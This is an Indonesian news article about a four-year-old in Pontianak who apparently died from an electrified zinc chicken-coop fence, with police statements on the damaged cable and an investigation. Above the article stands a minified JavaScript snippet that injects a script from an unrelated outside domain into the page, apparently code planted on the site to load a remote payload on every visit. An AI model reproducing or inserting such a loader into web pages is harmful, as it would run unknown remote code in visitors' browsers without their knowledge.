(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PONTIANAK – Nasib malang menimpa seorang bocah berusia 4 tahun di Pontianak, Kalimantan Barat. Balita tewas di sekitar kandang ayam.
Korban meninggal diduga karena kesetrum listrik pagar seng kandang ayam yang ada di belakang rumahnya.
Kasat Reskrim Polresta Pontianak Kota, AKP Rully Robinson Polii menerangkan, hasil pemeriksaan sementara diketahui korban bernama Febi ini menyusul ibunya Rosalia sekira pukul 13.30 Wib,
“Saat itu, ibu korban sedang berkunjung ke rumah kerabatnya di Jalan 28 Oktober, Gang Bima Sakti, Siantan Hulu, Kecamatan Pontianak Utara. Tepat di belakang rumah korban,” jelas Rully kepada sejumlah wartawan, seperti dilansir Suara.com –jejaring Kanalkalimantan.com-, Kamis (25/2/2021).
Di rumah kerabat ibunya yang bernama Darsiah, korban diberi makan mie instan. Sambil makan, korban bermain di sekitar rumah itu.
Namun beberapa saat, korban tidak kembali. Lalu ibu korban dan Darsiah melakukan pencarian dan dibuat kaget melihat apa yang terjadi di sekitar kandang ayam.
“Korban ditemukan tertelungkup di sebelah pagar seng bagian luar kandang ayam. Kemudian korban dibawa ke klinik. Namun, takdir berkata lain. Korban dinyatakan sudah meninggal dunia,” tutur Rully.
Saat itu juga, korban dibawa pulang ke rumah duka. Lantaran merasa ingin mengetahui penyebab meninggalnya korban, pada Kamis 25 Februari 2021 sekira pukul 01.00 Wib, pihak keluarga datang ke Polsek Pontianak Utara untuk menginformasikan.
“Anggota Unit Reskrim Polsek Pontianak Utara berserta penjagaan mendatangi lokasi dan melakukan interogasi terhadap saksi-saksi,” kata Rully.
Interogasi dilakukan salah satunya kepada Suparjo, suami dari Darsiah, sebagai pemilik rumah. Hasil interogasi, diketahui bahwa sekitar satu pekan yang lalu Suparjo ada memutus kabel di kandang ayam. Lalu kabel tersebut diselipkan di atap seng kandang ayam.
Dari hasil pemeriksaan di tempat kejadian perkara (TKP), memang benar ditemukan kabel yang menyentuh atau diselipkan di atap seng kandang ayam.
“Pada kabel tersebut terdapat lecet atau cacat serta atap seng menyentuh dengan pagar kandang ayam yang juga berbahan dari seng,” beber Rully.
Saat ini kata Rully, barang bukti sudah disita. Kepolisian pun masih melakukan pemeriksaan terhadap sejumlah saksi atas kasus balita tewas kesetrim listrik.
“Sementara sudah ditingkatkan menjadi proses penyidikan,” tutup Rully. (suara.com)
Reporter : suara.com
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.